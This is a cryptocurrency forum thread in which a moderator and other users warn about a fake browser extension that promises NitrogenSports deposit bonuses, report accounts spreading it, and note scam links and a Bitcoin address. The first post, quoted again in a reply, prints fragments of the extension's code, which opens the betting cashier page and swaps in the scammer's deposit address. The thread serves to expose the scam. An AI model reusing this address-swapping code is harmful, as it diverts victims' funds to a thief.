Author

Topic: A scam targeting NitrogenSports users (Read 475 times)

legendary
Activity: 1022
Merit: 1043
αLPʜα αɴd ΩMeGa
August 09, 2020, 07:30:34 PM
#20
Please check this: https://bitcointalk.org/index.php?topic=5267690.msg0;topicseen#new

This is similiar to yours... Sad
jr. member
Activity: 50
Merit: 33
July 22, 2020, 07:24:07 AM
#19
This scam is still spreading here : https://bitcointalksearch.org/topic/--5263814


I reported the extension to Firefox, hope they take it down soon.

Nuked. Thanks!

I doubt that reporting the addon would do anything though. I've been reporting the link (that I posted in the original post) and they haven't done anything.

That's really cool and fast. I can't see the topic I linked now Wink

I just saw a topic https://bitcointalksearch.org/topic/guide-reporting-harmful-and-abusive-firefox-add-on-5251119, explaing how one could report similar fake extensions on Firefox and specifically NitrogenSports ones, but it doesn't seem to help really as you said, many users here are already reporting in the same way I did from longer time with no results.
staff
Activity: 3500
Merit: 6152
July 22, 2020, 07:09:37 AM
#18
This scam is still spreading here : https://bitcointalksearch.org/topic/--5263814


I reported the extension to Firefox, hope they take it down soon.

Nuked. Thanks!

I doubt that reporting the addon would do anything though. I've been reporting the link (that I posted in the original post) for a long time now and they haven't done anything about it.
jr. member
Activity: 50
Merit: 33
July 22, 2020, 06:46:02 AM
#17
This scam is still spreading here : https://bitcointalksearch.org/topic/--5263814


I reported the extension to Firefox, hope they take it down soon.
legendary
Activity: 2758
Merit: 6830
July 13, 2020, 12:37:57 AM
#16
I can't see any other way to prevent them except ban the phishing link.
They can easily change the URL in minutes, though. That isn't going to work.

Even if theymos just disabled all links until the user becomes a Jr. Member, they could still break it to appear as plain text. It's basically a cat and mouse game. All we can do is report and tag the users as soon as possible.
legendary
Activity: 2422
Merit: 2228
Signature space for rent
July 12, 2020, 09:44:10 PM
#15
Scammers still exist on the forum although have nuked lots of accounts. I can't see any other way to prevent them except ban the phishing link. Post has made yesterday, means still now no one had reported to moderators and that's how newbies would fall into this trap.

Here is link;
1.https://bitcointalksearch.org/topic/easy-way-to-double-your-bitcoins-tested-myself-5261798 - (Archived) reported to moderators.

I will add more link if I found new.
legendary
Activity: 3654
Merit: 8909
https://bpip.org
staff
Activity: 3500
Merit: 6152
July 08, 2020, 03:12:43 AM
#11
I think this user called hasker123 trying to promote scams thing. He have made thread on B&H section and he locked the thread (Archived thread). Seems he have mentioned about mozilla firefox addon and double bitcoin scheme. So obviously this is a phishing attempt IMHO. Website Archived here where asking to download and install addon. @OP can you please check it? Sent PM & reported as well. I have tagged him for meantime.

I apologize for the late response. I was asleep. it seems like another staff member took care of it already so thanks for reporting!

It appears that this scam is still ongoing (probably outside of bitcointalk): https://www.blockchain.com/btc/address/1EwvDZRco1SE5CdwH5rNS5K6i9WrsRhWQ9 (The address from OP) has some recent transactions.
legendary
Activity: 2422
Merit: 2228
Signature space for rent
July 07, 2020, 10:19:52 PM
#10
I think this user called hasker123 trying to promote scams thing. He have made thread on B&H section and he locked the thread (Archived thread). Seems he have mentioned about mozilla firefox addon and double bitcoin scheme. So obviously this is a phishing attempt IMHO. Website Archived here where asking to download and install addon. @OP can you please check it? Sent PM & reported as well. I have tagged him for meantime.
staff
Activity: 3500
Merit: 6152
March 12, 2020, 09:33:13 AM
#9
Pumping this because the same scammer is back with another account.

User: avairo

One of his posts (he posted it in 3 different boards): https://bitcointalksearch.org/topic/--5232305
Archive: https://archive.is/wip/f2hiy

Can you nuke him as well?

It's done, thanks! Feel free to P.M me if you find other accounts.
full member
Activity: 1078
Merit: 210
★Bitvest.io★ Play Plinko or Invest!
March 12, 2020, 08:56:56 AM
#8
Edited as I see Ninja already pointed it out.

Unfortunately I'm sure this guy will most likely pop-up with a different account sooner or later.
legendary
Activity: 2758
Merit: 6830
March 12, 2020, 08:52:57 AM
#7
Pumping this because the same scammer is back with another account.

User: avairo

One of his posts (he posted it in 3 different boards): https://bitcointalksearch.org/topic/--5232305
Archive: https://archive.is/wip/f2hiy

Can you nuke him as well?
staff
Activity: 3500
Merit: 6152
March 07, 2020, 05:20:36 AM
#6
There was a post, several actually, from a similar newbie account telling others of a double your deposit amount on stake using the same extension but for chrome.
All their posts are gone which were in various topics including services and gambling discussion.
Reported it to stake and they said they were aware of this scam attempt from a while ago.
Didnt know how it exactly worked but from the sounds of it they have a way to have their address to be copied over with a copy&paste function in the extension.
Highly avoid doing these type of "cheating the system" on gambling platforms because you will likely be the victim trying to "double your balance" via an exploit. Where stake is very tight on security when it comes to these scam jobs making the rounds.

I came across these posts as well, and I nuked the accounts. I would appreciate it if you can report both the video[1] and Pastebin link[2] (where the code is hosted):

[1] https://www.youtube.com/watch?v=ND-8KNqlaNE
[2] https://pastebin.com/D7YNynj5
legendary
Activity: 2828
Merit: 1497
Join the world-leading crypto sportsbook NOW!
March 06, 2020, 10:26:58 AM
#5
There was a post, several actually, from a similar newbie account telling others of a double your deposit amount on stake using the same extension but for chrome.
All their posts are gone which were in various topics including services and gambling discussion.
Reported it to stake and they said they were aware of this scam attempt from a while ago.
Didnt know how it exactly worked but from the sounds of it they have a way to have their address to be copied over with a copy&paste function in the extension.
Highly avoid doing these type of "cheating the system" on gambling platforms because you will likely be the victim trying to "double your balance" via an exploit. Where stake is very tight on security when it comes to these scam jobs making the rounds.
legendary
Activity: 3094
Merit: 1472
March 02, 2020, 09:09:14 PM
#4
Said you nuked him but I seen his rating clean.
Anyhow thanks for pointing out I had reported to mozilla one similar in the past.

Nuking doesn't have any effects on rating whatsoever. It will remain the same. They are just banned and all their posts are deleted from the forum.

GJ @OmegaStarScream
legendary
Activity: 2366
Merit: 1048
March 02, 2020, 08:25:38 PM
#3
So, I found this user (I nuked him already) who was trying to make people download his extension that will (according to him) allow you to get a promotion code that will double your deposited coins. Obviously, it doesn't.

I've checked the extension's source code and it appears that once installed, the extension will open a new tab in your browser, redirect you to Nitrogen's cashier page (where you deposit the funds), and then change's the deposit address to the scammer's:


Code:
   browser.runtime.onInstalled.addListener(function() {

      browser.tabs.create({
        url: 'https://nitrogensports.eu/n/cashier',
        active: true
      });

      return false;
    });
Code:
   document.getElementById("nav-address")
        .innerHTML = '1EwvDZRco1SE5CdwH5rNS5K6i9WrsRhWQ9';
    document.getElementById("cashier-balance-label")
        .innerHTML = '100% Deposit Bonus - Awaiting deposit...
Current balance:
';
    clearInterval(interval);
}, 1000);


I already reported the extension to Firefox so if you want to help, please do the same. It only takes a few seconds.

Said you nuked him but I seen his rating clean.
Anyhow thanks for pointing out I had reported to mozilla one similar in the past.

Edit:
I expected it would help newbies when seeing his profile, seemingly since beginning of year he raised a bit over .2 btc this way.

However i was completely ignorant "nuking" means ban so yeah that might be a bit more effective Tongue.
legendary
Activity: 3346
Merit: 1013
Nitrogen Sports Forum Rep
March 02, 2020, 08:23:02 PM
#2
Hi OmegaStarScream! Huge thanks for this. We are aware of this extension and have reported it as well.

We want to warn everyone to stay vigilant and to only use Nitrogen Sports' official channels.

More info about the official channels/platforms we use here.

Don't hesitate to contact us if you encounter unofficial accounts or sketchy apps/extensions.

Thanks,
Kevin - Nitrogen Sports marketing rep.
staff
Activity: 3500
Merit: 6152
March 02, 2020, 10:32:28 AM
#1
So, I found this user (I nuked him already) who was trying to make people download his extension that will (according to him) allow you to get a promotion code that will double your deposited coins. Obviously, it doesn't.

I've checked the extension's source code and it appears that once installed, the extension will open a new tab in your browser, redirect you to Nitrogen's cashier page (where you deposit the funds), and then change's the deposit address to the scammer's:


Code:
   browser.runtime.onInstalled.addListener(function() {

      browser.tabs.create({
        url: 'https://nitrogensports.eu/n/cashier',
        active: true
      });

      return false;
    });
Code:
   document.getElementById("nav-address")
        .innerHTML = '1EwvDZRco1SE5CdwH5rNS5K6i9WrsRhWQ9';
    document.getElementById("cashier-balance-label")
        .innerHTML = '100% Deposit Bonus - Awaiting deposit...
Current balance:
';
    clearInterval(interval);
}, 1000);


I already reported the extension to Firefox so if you want to help, please do the same. It only takes a few seconds.
Jump to: